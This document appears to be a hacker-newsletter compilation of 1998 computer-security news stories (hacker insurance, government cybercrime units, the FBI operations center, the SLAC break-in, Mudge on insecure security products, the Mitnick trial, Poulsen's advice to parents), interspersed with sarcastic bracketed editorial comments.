Wanted: Hackers to break into the Justice Dept. computer network. Under a program known as Operation Get Cracking, the Justice Dept. sought members of the computer underground at late July's Def Con hackers' conference in Las Vegas, BUSINESS WEEK reports in its August 17 issue. Attorney General Janet Reno has quietly committed \$1 million to hire up to 16 hackers to test the Department's networks, says a source at Justice, which would neither confirm nor deny the operation.

[Uh... huh... I won't go there.]

0x5>-----

Title: A Cracker-Proofing Guarantee
Source: Wired News Report
Date: 9:05 a.m. 5.Oct.98.PDT

CIGNA Secure Systems Insurance is offering a US\$25 million liability policy designed to cover losses resulting from attacks by computer crackers, the company said Monday.

To qualify for coverage, a client must secure its systems or pass inspection from a CIGNA-approved security-management company. Otherwise, potential clients are encouraged to contract with security-management company NetSolve, in conjunction with Cisco's NetRanger intrusion-detection software, which is pre-approved by CIGNA.

CIGNA Secure Systems Insurance provides coverage for theft of money, securities, and property; for damage done by crackers to a firm's data or software; and for business losses caused by attacks on a company's computer systems.

[And how do they put value on your information? Who audits the system to make sure you are telling the truth about your policy?]

A recent survey by the Computer Security Institute and the FBI found a 36 percent increase from the previous year in losses stemming from computer-security breaches. However, traditional property and liability insurance policies do not address these risks, according to CIGNA.

"It's a nice marketing ploy," said computer security consultant Pete Shiply. "But if someone is concentrating on breaking into a site, eventually they will get in. There is no such thing as a secure site; security is economics, it's a question of money and how much you want to invest."

Asked what kind of intrusion might lead to a \$25 million claim, Shiply was skeptical.

"While I haven't read the agreements, I am pretty sure you would not get that much," he said. "You would have to prove losses approaching that figure, and that will likely be a difficult thing to do."

0x6>-----

Title: First-Ever Insurance Against Hackers
Source: Reuters
Date: 14-JUN-98
By: Therese Poletti

A computer security firm is so certain of its security prowess that it is offering to protect its customers with the first-ever hacker insurance, in the event a customer is successfully invaded by hackers.

[So secure, hackers dumped logs of one of the ICSA's machines being hacked to several IRC channels. Do as we say, not as we do.]

ICSA Inc., the International Computer Security Association, is now offering as part of its TruSecure service, insurance against hacker attacks. ISCA will pay up to \$250,000 if a customer's network is hacked into, after it has followed the TruSecure criteria.

``This is the first hacker-related insurance,`` said Peter Tibbett, president of the ICSA, based in Carlisle, Penn. ``It puts our money where our mouth is.``

ICSA sells its TruSecure service for \$40,000 a year. The service, which it has been offering for several years, is a series of steps, methods and procedures that an ICSA client must adhere to. Some steps are simple, common sense procedures, such as having the server which hosts your company's Web site inside a locked room.

[You pay 40,000 a year, for up to 250,000 insurance. Pretty high premium. 40,000 will buy you a lot of security consulting and additional

security precautions.]

Other steps are more complicated, such as the requirement to have a secure firewall around an internal network.

But the ICSA does not sell products. Instead, it recommends a whole range of software that it has approved as secure and meets its standards, through open meetings and debates, with all its members, many of whom develop security products.

Then, ICSA tests a client's security by using typical hacker methods, through its 100 or so employees, none of whom are reformed hackers. ICSA believes, along with executives at International Business Machines Corp. who perform ``ethical'' hacking on its customers, that there is no such thing as a reformed hacker.

``We spray them with hacker tools and see where their vulnerabilities are,'' Tibbett said, referring to many of the widely-used hacker programs that are available over the Internet or shared among hackers. ``The average site took about two weeks to get to the place where they meet all our requirements.''

After ICSA completes a six-step process to test and improve a company's security, the customer is deemed secure and will then receive insurance.

The ICSA said it will pay its customers if they fall prey to a hacker, even if they are not financially harmed from the attack.

``Whether you lose money or not, we will pay,'' Tibbett said. ``We believe that we reduce the risk dramatically ... Yes, we expect to write some checks, but we don't expect to write very many.''

Tibbett likens the ICSA to the Center for Disease Control, because it tracks all hacker attacks and tests every hacker tool and virus its programmers can find. The ICSA also is known for its emergency response center, which tracks the fallout from known computer viruses and helps companies in a crisis.

``Good enough is never going to be perfect,'' Tibbett said. ``But we have a motivation to improve our service. If we have to write a check when someone gets hacked, it gives us another emphasis.''

The company said it is partnering with major nationwide insurance carriers who recognize the ICSA TruSecure certification as a requirement for hacker policies.

0x7>-----

Title: New Unit to Combat High-Tech Crime
By: Yomiuri Shimbun
Date: June 05, 1998

The National Police Agency plans to create a special "cyberpolice" unit to combat the rise in high-tech crimes involving the Internet and other new technologies, the agency said Wednesday in announcing its new high-tech crime program. Information will be exchanged with its investigative counterparts overseas on a 24-hour-a-day basis, it said. The program will include special high-tech crime squads at the prefectural level, and information security advisers at prefectural police stations who will liaise directly with the private sector, with which the NPA wants to coordinate its efforts. The agency will also request a budget for a "hacker-proof" supercomputer next fiscal year.

The NPA recorded 263 high-tech crimes last year-eight times more than in 1992. High-tech crime was on the agenda of the Group of Eight summit meeting in Britain last month, where the eight leaders agreed to report on their efforts to combat high-tech crime at the G-8 summit in Cologne, Germany, next year. The NPA said Japan's current laws are inadequate and it would push to have new laws enacted to limit access to computers by those with criminal intent.

0x8>-----

Title: First 'Cyber Warrior' Unit is Poised for Operational Status
By: Bryan Bender
Date: June 17 1998

The US Department of Defense (DoD) plans to stand up its first operational unit of 'cyber warriors' by September to safeguard against and respond to computer attacks aimed at the US military, according to defence officials.

The Joint Chiefs of Staff (JCS) is assessing several proposals for a Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is expected to make a recommendation to Defense Secretary William Cohen, who will have direct authority over the organisation, in the near future.

The JCS has a computer attack response cell within its directorate of operations, but it "has not been codified as a warfighting entity," said JCS spokesman Lt Cdr Jim Brooks.

The task force, which will conduct defensive rather than offensive information operations, will have the necessary authority to take action in the event of information attacks. Officials are determining how the unit should be structured, where it should be and how much it will cost.

They say that the new unit will have to have a high level of co-ordination with other federal agencies, particularly the Federal Bureau of Investigation, given the constitutional limitations placed on the US armed forces in the area of law enforcement.

JCS sources add that the task force is only expected to be an interim solution to the rising need for a specialised unit to counter incidents of cyber warfare. A permanent unit, possibly under the authority of one of the US warfighting commanders-in-chief, is planned for the future.

The Pentagon has seen a steep rise in computer attacks and other attempts either to access or contaminate DoD information networks. Art Money, the DoD's senior civilian overseeing computer operations, said on 10 June that the Pentagon experiences an average of 60 cyber attacks per week.

The US Department of Defense (DoD) plans to stand up its first operational unit of 'cyber warriors' by September to safeguard against and respond to computer attacks aimed at the US military, according to defence officials.

The Joint Chiefs of Staff (JCS) is assessing several proposals for a Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is expected to make a recommendation to Defense Secretary William Cohen, who will have direct authority over the organisation, in the near future.

The JCS has a computer attack response cell within its directorate of operations, but it "has not been codified as a warfighting entity," said JCS spokesman Lt Cdr Jim Brooks.

The task force, which will conduct defensive rather than offensive information operations, will have the necessary authority to take action in the event of information attacks. Officials are determining how the

unit should be structured, where it should be and how much it will cost.

They say that the new unit will have to have a high level of co-ordination with other federal agencies, particularly the Federal Bureau of Investigation, given the constitutional limitations placed on the US armed forces in the area of law enforcement.

JCS sources add that the task force is only expected to be an interim solution to the rising need for a specialised unit to counter incidents of cyber warfare. A permanent unit, possibly under the authority of one of the US warfighting commanders-in-chief, is planned for the future.

The Pentagon has seen a steep rise in computer attacks and other attempts either to access or contaminate DoD information networks. Art Money, the DoD's senior civilian overseeing computer operations, said on 10 June that the Pentagon experiences an average of 60 cyber attacks per week.

0x9>-----

Title: Tracking Global Cybercrime

By: Claudia Graziano

Date: 4:00 a.m. 25.Sep.98.PDT

The International Chamber of Commerce said Thursday that it will open a new division to help companies around the world protect themselves against cybercrime.

"Basically, any scams you can do terrestrially you can do even easier in cyberspace," said Eric Ellen, the chamber's executive director, who will take the reins of the new division.

[Oooh.. 'terrestrially'.. three point word.]

The London-based unit will work with Interpol to fight heavy-duty technological thievery -- such as money laundering, industrial espionage, and investment fraud -- as opposed to small-time consumer scams like selling nonexistent goods online.

Interpol chief Ray Kendall said the international police agency had been pushing for years for such an alliance with the private sector since it could move more quickly than governments in purchasing the equipment needed to investigate high-tech crime.

The cybercrime unit will provide the 7,000 International Chamber of Commerce members with information about how and where the myriad types of crimes are committed on the Net and what businesses can do to protect themselves against crackers and fraud artists.

A Federal Trade Commission official praised the commission's efforts to raise domestic awareness of Internet fraud.

"We welcome any international effort to crack down on cyberfraud, because crime and fraud perpetrated against consumers or businesses only undermines the electronic marketplace and stifles the great opportunities available through Internet commerce," said Paul Luehr, an assistant director at the commission.

The chamber said it hopes to persuade governments, including the United States, to wipe out restrictions that limit the spread and availability of strong encryption algorithms.

That position flies in the face of US law enforcement, which currently limits the export of powerful crypto on the grounds that it might be used

by terrorists. Meanwhile, US crypto advocates have long said that ciphers are better suited to fighting crime than hiding it.

"There will be some lobbying on our part, but many businesses can't wait for laws," Ellen said. "Crimes cross international borders, yet existing laws [against cybercrime] are national."

The chamber's cybercrime unit will meet regularly with Interpol in Lyon, France, to exchange information and intelligence on cybercrime and its perpetrators.

Additionally, the chamber division plans to exchange information with the FBI's National Infrastructure Protection Center and the FBI's National Security Awareness unit, which looks after the interests of US businesses.

Headquartered in Paris, the International Chamber of Commerce establishes rules that govern the conduct of businesses worldwide. The nonprofit group holds top-level consultative status with the United Nations, where it puts forward the views of business in countries around the world.

0xa>-----

Title: FBI Opens High-Tech Crisis Center

By: Michael J. Sniffen

Date: Friday, November 20, 1998; 9:29 a.m. EST

Entering its 91st year with new duties that extend around the world, the FBI today opened a high-tech, \$20 million operations center nearly the size of a football field to allow headquarters to manage up to five crises at once.

The new Strategic Information and Operations Center -- called ``sigh-ock'' after its initials -- has 35 separate rooms that can seat up 450 people total and covers 40,000 square feet on the fifth floor of FBI headquarters on Pennsylvania Avenue. It is 10 times bigger than its two-decade-old predecessor that could, with difficulty, handle two crises simultaneously.

Bureau officials became convinced the old SIOC was outmoded in the summer of 1996 when they tried to manage investigations of the Olympic bombing in Atlanta, the explosion of TWA 800 and the Khobar Towers truck-bombing in Saudi Arabia at the same time.

``There weren't enough rooms or enough telephones,'' FBI Director Louis J. Freeh said. ``We had people working at desks in the hallway outside and reading top secret material in the vending area across the hall.''

The supersecret facility with no windows to the street, or even any outside walls, has a private ribbon-cutting today with former President George Bush as the FBI celebrates its 90th birthday.

Introducing the new SIOC to reporters for a one-time-only tour, Freeh said it was emblematic of the bureau's expanded responsibilities and technology.

He noted that the bureau's fastest growing component, its Counterterrorism Center, is arrayed in the offices around the SIOC -- as is its violent crime unit, which handles domestic attacks such as the Oklahoma City bombing or hijackings.

Much of the counterterrorism work now extends overseas, to Saudi Arabia where U.S. soldiers have been killed in two bombings and East Africa where two U.S. embassies were bombed, for example. In the last five years, Freeh said, the FBI has nearly doubled its legal attaches working abroad

-- to 32 cities now. Eight more are to open soon -- in Almaty, Kazakhstan; Ankara, Turkey; Brasilia, Brazil; Copenhagen, Denmark; Prague, Czech Republic; Santo Domingo, Dominican Republic; Singapore and Seoul, Korea.

The computers at desks throughout the center and the 5-by-15-foot video screens on the walls of almost every room can display not only U.S. television broadcasts but also local TV channels from foreign countries. The bank of red-lettered digital clocks in each room can display the local time in five or six locations.

The FBI's new National Infrastructure Protection Center, tasked to prevent and respond to attacks on government or private computer systems that keep America running, will have three representatives on each of the 10-member watch teams that staff the center at all times. Also present around the clock: a representative of the National Security Agency's Cryptologic Security Group to provide information from the government's worldwide electronic eavesdropping.

Behind a series of blond wood doors, the complex warren of workrooms, many of which can be combined or divided as need requires, have light gray carpets, paler gray walls and dark gray metal desks with white plastic tops. The desks are fixed in place only in two control rooms that manage the flow of information to each room; elsewhere they are modular and can be rearranged at will over floor-mounted electric and telephone plugs. Interior windows allow views into conference rooms or the SIOC's hallways.

Ron Wilcox, deputy chief of the SIOC, said the compartmented areas would allow bureau agents ``to work in one room with District of Columbia police on a local kidnapping while another room works on a terrorist bombing with top secret data.''

Each work station can receive data from three sets of phone and computer links: unclassified, secret and top secret-sensitive compartmented information.

While the center will draw information from around the world, information will not leave without permission. The center is shielded to prevent outside detection of electronic emissions, so cell phones do not work inside it.

In Operations Group D and G, the largest room with capacity for 118 people, there are printers with yard-wide rolls of paper to print out city maps. So the room will not be overcome with noise, the sound from video screens is broadcast silently from black boxes around the room to headphone sets available to each worker.

The chairs, most on wheels, have arm rests. They are blue-green cloth in the workrooms; gray leather in the Executive Briefing Room, the center's second largest room, with three blond wood semicircles seating 36 and fixed theater seats at the back for 50 more.

Rather than increasing the burden on field agents to report to Washington, Wilcox said the new center should reduce such demands, because ``we will offer one-stop shopping for headquarters. Field agents can report to us, and we will be responsible for making sure everybody is alerted who should be.''

0xb>-----

Title: Navy fights new hack method
By: Tim Clark
Source: CNET NEWS.COM

Hackers are banding together across the globe to mount low-visibility attacks in an effort to sneak under the radar of security specialists and intrusion detection software, a U.S. Navy network security team said today.

Coordinated attacks from up to 15 different locations on several continents have been detected, and Navy experts believe that the attackers garner information by probing Navy Web sites and then share it among themselves.

"These new patterns are really hard to decipher--you need expert forensics to get the smoking gun," said Stephen Northcutt, head of the Shadow intrusion detection team at the Naval Surface Warfare Center. "To know what's really happening will require law enforcement to get hold of the hackers' code so we can disassemble it."

The new method involves sending as few as two suspicious probes per hour to a host computer, a level of interest that usually won't be detected by standard countermeasures. But by pooling information learned from those probes, hackers can garner considerable knowledge about a site.

0xc>-----

Title: Pentagon Blocks DoS Attack
Source: Newsbytes via NewsEdge

The Pentagon launched an attack applet of its own this month to thwart a denial-of-service attack against its DefenseLink Web site at <http://www.defenselink.mil> .

DefenseLink was one of three sites targeted on Sept. 7 by a group that calls itself the Electronic Disturbance Theater. The group claimed to be acting in solidarity with Zapatista rebels in the Mexican state of Chiapas to protest Defense Department funding of the School of the Americas.

Other target Web sites belonged to Germany's Frankfurt Stock Exchange and Mexican President Ernesto Zedillo.

The theater group's Web site referred to the attacks as a virtual sit-in. Visitors to the group's site received a hostile Java applet designed to keep reloading the DefenseLink and other Web sites automatically as long as the the visitors' browsers were open.

Multiple simultaneous reload requests can overwhelm a server, but the attacks apparently had little impact, DOD officials said.

"Our support staff certainly was aware of the planned attack," Pentagon spokeswoman Susan Hansen said. "They took preventive measures to thwart the attack so that DefenseLink was available."

Hansen would not specify the preventive measures, but the theater group reported, and a DOD official confirmed, that the Pentagon aimed its own hostile applet back at the attackers.

Browsers "got back a message saying the (theater group's) server wasn't available," Hansen said.

The Frankfurt exchange reported the reload requests had little or no impact on its server, either.

The theater group has promised a second round of attacks, known as FloodNet, between Sept. 16, Mexican Independence Day, and Oct. 12, Columbus Day.

Representatives of security software vendor Finjan Inc. of Santa Clara, Calif., said the attacks marked the first time Java applets have been used in a political protest, although the theater group has claimed participation in other virtual sit-ins against Zedillo and President Clinton since April.

The group is a throwback to the 1960s guerrilla theater of the Yippies, who once hosted an attempt to mentally levitate the Pentagon. The theater group's Web site at <http://www.nyu.edu/projects/wray/ecd.html> advocates electronic civil disobedience. Its attempted Pentagon attack was part of Swarm, a project launched at the Ars Electronic Festival on InfoWar in Linz, Austria.

The group's announced activities, in addition to the unspecified attacks planned through mid-October, include radio protests against the Federal Communications Commission on Oct. 4 and 5.

The Swarm attacks reportedly did not meet with much approval among hackers, who view FloodNet as an abuse of network resources.

0xd>-----

Title: Hackers Elude Accelerator Center Staff
Source: San Francisco Chronicle
Date: 06/11/98

Officials at Stanford Linear Accelerator Center are rethinking the openness of their computer system a week after hackers forced them to shut down outside access to the federal research facility's computer network.

External access to the center's computer system was suspended after staff members failed to catch hackers who had intercepted a password and were moving in and out of more than 30 of the facility's Unix servers.

"We traced the hackers around to the point that we weren't gaining on them," said center spokeswoman P.A. Moore. "The person or persons were successful in covering their tracks and in getting into and out of accounts."

It is still unclear how the hackers got access to a password and the system, Moore said.

But as a result of the breach, she said, officials are rethinking the center's policy of being an open scientific research facility. She said proposals are being considered to restrict the center's computer system.

"A number of options are being considered and they range from very mild to more severe," she said.

Moore said that most of the center's Internet services were restored Tuesday after security measures were put in place and that staff members were instructed to change their passwords.

The shutdown did not create any serious problems, although it caused delays in many projects and denied researchers from all over the world access to the center's Web site, Moore said.

Established in 1962, the Linear Accelerator Center is funded by the Department of Energy and operated by Stanford University. With a staff of about 1,300 and 2,000 researchers worldwide, the center conducts basic research on atomic and subatomic physics. The center's researchers use colliders to study matter at the atomic level. "Mostly, we've lost time

on experiments," Moore said. "We do not see that any data has been compromised. It's more of a setback than a major disaster."

But she said future break-ins will remain a problem for open scientific facility. The center does not conduct any classified research, she said.

"Computer hackers are very sophisticated in terms of their knowledge and ease in traveling through cyberspace," she said. "We're vulnerable. By being an open facility, we are a target for vandals." Stephen Hansen, a Stanford University computer security officer, said campus system break-ins average at least two a month.

A common tool used by hackers is a computer program dubbed "the sniffer," which allows intruders to decode data in a system, specifically passwords and log-on names.

"Sniffers are quite dangerous," Hansen said. "If they are not caught right away, they can lead to break-ins to thousands of accounts, not just locally, but across the Internet."

To minimize such break-ins, he said, more system operators are using encryption programs that prevent hackers from determining sign-on names and passwords. However, this is not an easy option for the Stanford center because encryption programs are prohibited in some countries, including France, where a number of center-affiliated researchers live.

0xe>-----

Title: Cyberattacks leave feds chasing 'vapor'
By: Bob Brewin (antenna@fcw.com)

Top administration officials last week warned that the United States lacks the capability to quickly identify the nature and scope of a continuing series of cyberattacks against both federal and private systems that support the country's telecommunications, financial and energy critical infrastructures.

During a series of congressional hearings and in speeches last week, federal security and information technology officials made it clear that they anticipate a powerful "'Achilles' heel" cyberattack that could cripple the nation's vital systems because the government lacks the ability to defend against such an attack.

John Hamre, deputy secretary of Defense, told the House National Security Committee that such a paralyzing cyberattack against critical infrastructures is inevitable. "There will be an electronic attack sometime in our future," he said. "Should an attack come, it will likely not be aimed at just military targets but at civilian [targets] as well." Administration officials also reported that the attacks continue unabated.

Art Money, who is slated to take over as assistant secretary of Defense for command, control, communications and intelligence later this year, said in a speech at a conference in Washington, D.C., last week that DOD "averages 60 intrusions a week" into its computer systems. An official of the FBI's new National Infrastructure Protection Center (NIPC) said the office is investigating a "half dozen" incidents, describing them as "'substantial.'"

But security agencies said the process of chasing down and identifying attackers is frustrating, as in the case of the highly publicized series of hacks against DOD computers last February. The FBI and numerous DOD agencies worked together to track down the hackers, but the agencies could not "identify [until] the following week" the source and type of attack,

Ellie Padgett, deputy chief of the National Security Agency, told the Senate Judiciary Committee's Subcommittee on Technology, Terrorism and Government Information.

Padgett said it would still take the agency a "matter of days" to determine if an attack was strategic or just a teenage prank.

Michael Vatis, director of NIPC, told the committee, "In most cyberattacks, it's impossible to know the identity of the penetrator," be it teenage hackers, criminals or a strategic attack by a hostile nation. Vatis, in an interview, likened chasing down hackers to "tracking vapor."

Barry Collin, a senior researcher with the Institute for Security and Intelligence, said it will become increasingly difficult to identify strategic attacks because a nation that is sophisticated enough to mount a cyberwar against the United States also will have the sophistication to disguise that effort as a hacker attack mounted by teenagers. "They can make it appear as if it is a game instead of a real attack," he said.

A "Predatory Phase"

Also frustrating security experts is the possibility that attacks will be carried out in quick hits over a long period of time, Hamre said. "The predatory phase could take place over several years, making it hard to collate curious, seemingly unrelated events into a coherent picture," he said. These long-term attacks "could take place over multiple jurisdictions - [for example] power grids or air traffic control nodes in various states. Our knowledge of the origin of such attacks and their sponsorship is likely to be imprecise."

Hamre also presented classified testimony to a joint closed hearing of the House National Security Committee's Military Procurement and the Military Research and Development subcommittees. Hamre may have presented more detailed evidence of computer vulnerabilities, based on remarks by Rep. Curt Weldon (R.-Pa.), chairman of the Military Research and Development Subcommittee, who called Hamre's classified testimony "the most provocative briefing" he had ever received during his 12 years in Congress.

The Clinton administration hopes to protect the critical infrastructures with recently formed security organizations, including the National Infrastructure Assurance Plan, the NSA Network Incident Analysis Cell and the Critical Infrastructure Assurance Office in the Commerce Department. CIAO will spearhead multiple-agency efforts to develop better policies, processes, procedures and systems to detect and deter attacks.

The administration also plans to heavily involve the private sector - banks, power companies and railroad companies - in "public/private partnerships" to protect the infrastructure.

Members of Congress on both sides of the Hill praised the administration's initial efforts, but they also expressed some skepticism about the approach. Sen. Diane Feinstein (D-Calif.) said she "wondered if the nexus between the public and private sectors will work."

Rep. Herbert Bateman (R-Va.) said he is "deeply skeptical" about placing the CIAO in Commerce rather than in DOD.

Bateman said Commerce's willingness to allow the exportation of critical satellite and rocketry information to the Chinese left him "unconvinced" that Commerce had the same "sensitivity" as the Pentagon has to the requirements of national security.

0xf>-----

Title: Congress Attacks Cyber Defense Funds
Source: Defense News
Date: 6/16/98

U.S. Congress Attacks Cyber Defense Funds By George I. Seffers Defense News Staff Writer WASHINGTON-- Congress is taking millions of dollars from the war chest intended to protect critical U.S. infrastructure from potentially crippling cyber attacks, according to Defense Department and White House sources. The House Appropriations Committee deleted the entire \$69.9 million the Defense Department had requested for infrastructure protection in its 1999 budget. That funding should be restored, Linton Wells, principal deputy for the assistant secretary of defense for command, control, communications and intelligence, told lawmakers at a June 11 hearing here on protecting national infrastructures-- telecommunications, banking and finance, energy, transportation, and essential government services-- from cyber attack.

[So they make all these new groups to fight cybercrime.. then this?]

0x10>-----

Title: Mudge on Security Vendors
From: Bugtraq

In the SAFER bulletin they mention compromising software that was explicitly installed as an additional security measure.

While joking around I was mentioning to some colleagues about the attrocity of some (most) of the security related products out there right now. Not in what they are claiming to accomplish but in the lack of sound coding in their own products. I thought it was pretty much understood but the amazed looks on their faces told me otherwise. So I figured I might point this out in case that was not an isolated assumption that these people had. Hopefully I'm already preaching to the choir on Bugtraq.

[Note - though I explicitly mention ISS and Axent they are by no means any worse or better than others not mentioned here... in addition I am referring to older versions of their products. I have not spent time looking at their most current releases to verify whether things have improved or gotten worse. Please take this for what it is meant to be - a general rant about the security vendor world as it stands... not an attack against particular vendors]

A few real world cases:

A few revs back in ISS' commercial security scanner there were several vulnerabilities. One particular company contracted me to come in and give them a report on the level of competence that an auditing company they had hired were at.

Sure enough, when the auditor scanned the box that we had setup they were using ISS (version 3? my memory isn't serving me very well right now). Upon an attempt to connect to tcp/79 (fingerd) we fed them back a bunch of 'garbage' (well, you know... that garbage that is comprised of a long run of NOPs followed by machine dependent opcodes and operands :). After a few tries, root on the scanning machine was handed out as there were no checks done on the data that was being retrieved (or more accurately assumptions were being made about the length).

...

Axent swore up and down that their ESM systems were communicating via DES encrypted channels. In reality the communications were simply XOR'd and they would send the progressive XOR key every X packets. The DES components were slated for the 'next rev'. Doesn't matter - the point is that they shouldn't have done the XOR scheme to begin with when the purpose of the communications between the client and server are "lists" of vulnerabilities on said machines. Not something you want advertised to anyone passivle monitoring.

...

I don't know how many "security" packages I've looked at that do outrageously stupid things like chmod(777), popen(), or system() even! Even if the program is running non-priveleged and is designed to be on a system that does not have multiple users it is a demonstration that the people writing the code to protect your systems (often at outrageous price tags!) seem incapable of demonstrating sane coding techniques themselves.

How is one supposed to get 'warm fuzzies' that one is having their systems "protected" when the products doing the protecting show no security competence.

Vendors listen up!

.mudge

0x11>-----

Title: More delays for Mitnick trial
By: Kevin Poulsen
Date: November 25, 1998 3:33 PM PT
Source: ZDNet

Accusing government attorneys of stalling efforts to collect key documents for his case, the defense attorney representing Kevin Mitnick, famed criminal hacker, requested a continuance on Tuesday. According to Donald Randolph's motion, the government missed a court-ordered deadline to provide the defense with copies of prosecution witnesses statements. The statements were finally handed over on Tuesday, almost a month late.

In addition, the prosecution is almost a week behind in handing over a list of evidence to the defense. Some electronic evidence is being withheld completely, claimed Randolph.

Prosecution delays

"Due to the government's significant delay in producing discovery as ordered by this court, and due to its continuing failure to produce certain discoverable evidence altogether, the defense cannot competently complete its investigations and prepare for trial in this matter absent a reasonable continuance in the trial date," stated the motion.

The original trial was scheduled for Jan. 19, 1999.

The prosecutors attacked any delay. "The contention that we have been late with materials is disingenuous," says prosecutor David Schindler. "We've provided thousands of pages of discovery."

Government mole?

The text of the motion also implied that the government had paid a one-time Mitnick cohort and employee of Mitnick's previous attorney, Ron

Austin, to spy on his client.

"Austin was privy to confidential communications between Mr. Mitnick and Mr. Sherman which he later disclosed to the government," said the statement.

0x12>-----

Title: 'Back door' doesn't get very far

Source: San Jose Mercury News

A U.S. government panel has failed in a two-year effort to design a federal computer security system that includes "'back doors,'" a feature that would enable snooping by law enforcement agencies, people familiar with the effort said this week. The failure casts further doubt on the Clinton administration policy -- required for government agencies and strongly encouraged for the private sector -- of including such back doors in computer encryption technology used to protect computer data and communications, according to outside experts.

But administration officials said the panel, which is set to expire in July, simply needed more time. The 22-member panel appointed by the secretary of commerce in 1996 concluded at a meeting last week that it could not overcome the technical hurdles involved in creating a large-scale infrastructure that would meet the needs of law enforcers, panel members said. The group was tapped to write a formal government plan known as a "'Federal Information Processing Standard,'" or FIPS, detailing how government agencies should build systems including back doors.

0x13>-----

Title: ICOSA Goon Pretends to be a Hacker [my title]

Source: Forbes Digital Tool

By: Adam Penenberg

J3 spends his days trolling around the hacker underground, monitoring hacker channels on Internet Relay Chat, checking out the latest on "phreaking,"--cracking the phone system-- dialing up bulletin boards and checking out web sites that offer password-cracking software and how-to guides.

For J3 this isn't just a hobby, it's a job.

ICSA, a computer security firm, hired J3 (not his real name nor his online "nick", since his success depends on total anonymity) two years ago as the company's lead underground analyst. His mission: to keep tabs on the latest trends and tools in the hacker world. When he gets wind of a new security hole, he passes the information on to ICOSA's tech staff so that the company can either develop a defense or tip off software makers before the flaw can be exploited.

J3 is very busy. Recently, a group of European hackers released a Trojan horse-like program that would enable them to set up backdoors in geeky programs known only to network administrators, such as "named" programs related to domain name servers, a basic component of any network connected to the larger Internet. J3 found out about it in the course of his monitoring, passed it on to ICOSA, and the company informed CERT (Computer Emergency Response Team) which posted an advisory.

The Internet is a lot like Lord of the Flies, a nasty, violent --yet virtual--world where the strong intimidate the weak.

He was also instrumental in helping ICOSA detect two types of denial of

service attack modes--Teardrop and Land--that were being used to exploit vulnerabilities in the TCP/IP protocol. These new attacks took advantage of tweaks that would beat existing patches, which made it difficult for system administrators to stay ahead of hackers. But J3, because of his links to the underground, was able to learn of these exploits shortly after they were posted on hacker channels.

"I'm proud of a lot of the work we do," J3 says. "I've found a company's entire password file posted to a web site, or that hackers have root in a network or that a merchant site with a database of credit cards has been compromised. I then contact the companies and warn them."

He says that the Internet is a lot like Lord of the Flies, a nasty, violent--yet virtual--world where the strong intimidate the weak. Not all hackers are destructive, of course. There are many good ones on a quest for pure information, the lifeblood of their avocation, who post security flaws because they believe it's the best way to fix them. It's the ones who exploit these flaws to cause damage that irritate J3.

But they have a vulnerability: their need for self-aggrandizement, which is key to J3's success. "If hackers didn't brag," he says, "I wouldn't have a job."

J3, who works mostly nights since the Internet never sleeps, isn't just a full-time worker. He's also a graduate student working on his Ph.D. in psychology. And his area of study?

Hackers, of course.

0x14>-----

Title: Is Your kid a Hacker
Source: Family PC Magazine
Date: November 1998
By: Kevin Poulsen

If you suspect your kid is a computer hacker, here's some advice from a convicted hacker on how to handle it

It starts with a knock on the door. A dozen men in suits and shoulder holsters are outside, their Buicks and Broncos crammed into your driveway and parked along the street. Over their shoulders you can see your bathrobe-clad neighbors watching the spectacle from their lawns. It might be the FBI, it may be the Secret Service, but whoever it is, the humorless agents hand you a piece of paper and head toward your son or daughter's room. You wonder, perhaps for the first time, what your kid has been doing in there with the computer.

If you're a parent, you probably regard the Internet as a font of both promise and peril for your children. It can be an invaluable learning tool and a way to encourage your kids to develop the basic computer skills they'll eventually need. But what if they take to it a little too eagerly and enthusiastically and begin using it to get into places where they don't belong? In that case, normal youthful rebellion, or simple inquisitiveness, if it's expressed over the Internet, could turn your family upside down.

It happened last February in Cloverdale, California, when surprised parents found out their teenage son was suspected in a series of Pentagon intrusions. It happened again in Massachusetts a week later, when the Justice Department won its first juvenile conviction under the Federal Computer Fraud and Abuse Act.

It happened to my family 15 years ago, in one of the first hacker raids in the country. At that time, I was the teenage miscreant who was illegally accessing federal computers. Now, in my early thirties, I've begun to wonder how I would protect a kid of my own from becoming a poster child for computer crime. I believe the best approach is to stay informed and to communicate with your potential cyberpunks.

Open Communication Channels

Some of the things you might view as ominous warning signs are actually quite harmless. For example, if your teenager calls himself a "hacker," he may not be headed for trouble. Despite the media's breathless exhortation, hackers are not lawbreakers by definition. The word actually describes someone with a talent for technology, a deep interest in how things work, and a tendency to reject any limitations. If your son disassembled the Giga Pet you gave him for Christmas, he's probably a hacker. If he made it run better, he definitely is. Of course, some hackers go further and test their skills against the adult world of corporate and governmental computer systems.

If I thought my kids were cracking computers, I would want to put a stop to it -- though not because it's the crime of the century. True hackers live by an ethical code that precludes damaging systems or profiting from their intrusions. There are worse values for a teenager to have. But regardless of motives, a hacker who's caught in the act today is likely to be treated as an industrial spy or a national security threat. A single moment of rebellious exploration could land a teenager an early felony conviction.

If you suspect that your kid may be crossing the line, there are various software packages on the market that will allow you to monitor or control his or her access to the Internet. Don't even think about using one. If your teen really is a hacker, your technological solution will be a source of amusement and derision, as well as an insult to his talents. Instead of putting up barriers, I suggest you talk to your kids.

If your kid is reading underground Web sites for hackers, read them yourself. If he has a subscription to a hacker magazine, go through it and ask questions. Feel free to marvel at the cleverness of the latest hacker technique. Then talk about consequences: the rising costs of legal representation, the problems that a convicted felon encounters in academia and the job market. Start looking at alternatives to a life of cybercrime.

Constructive Alternatives

If your kid has a rebellious streak, I suggest giving up on trying to suppress it; try to channel it instead. When hackers grow up, they often find a reasonable substitute for the thrill of intrusion by working the other side. Ask your teen how he would plug the latest security holes. Get him thinking about it. Ask him for advice on protecting your own e-mail or your ISP account.

The hacker tradition has always contained an element of disrespect for authority. Up until 15 years ago, cracking systems was an acceptable rite of passage in the industry, and some of the same people who pioneered artificial intelligence and the personal computer also ushered in phone phreaking, lock hacking, and computer intrusion. Early hackers believed that computers were a public resource and that access to them and knowledge about them should be free.

In a sense, the first-generation hackers won their battle when they created the personal computer: It gave them free access to computing power

anytime they wanted. Today, kids can claim that victory on the Internet by authoring a Web page. There is plenty of room for innovation and creativity.

Today's PCs are as powerful as yesterday's mainframes. With today's PCs, no one needs to break the law to explore technology. With the right tools, and parental support, kids can earn the respect of their peers and get an early start on their future by mastering the latest programming languages. If my kid were a hacker, I'd encourage him to shun the instant gratification of cracking a Fortune 500 company in favor of the greater satisfaction of creating something unique from scratch.

Ultimately, that's what hacking really is all about.

0x15>-----

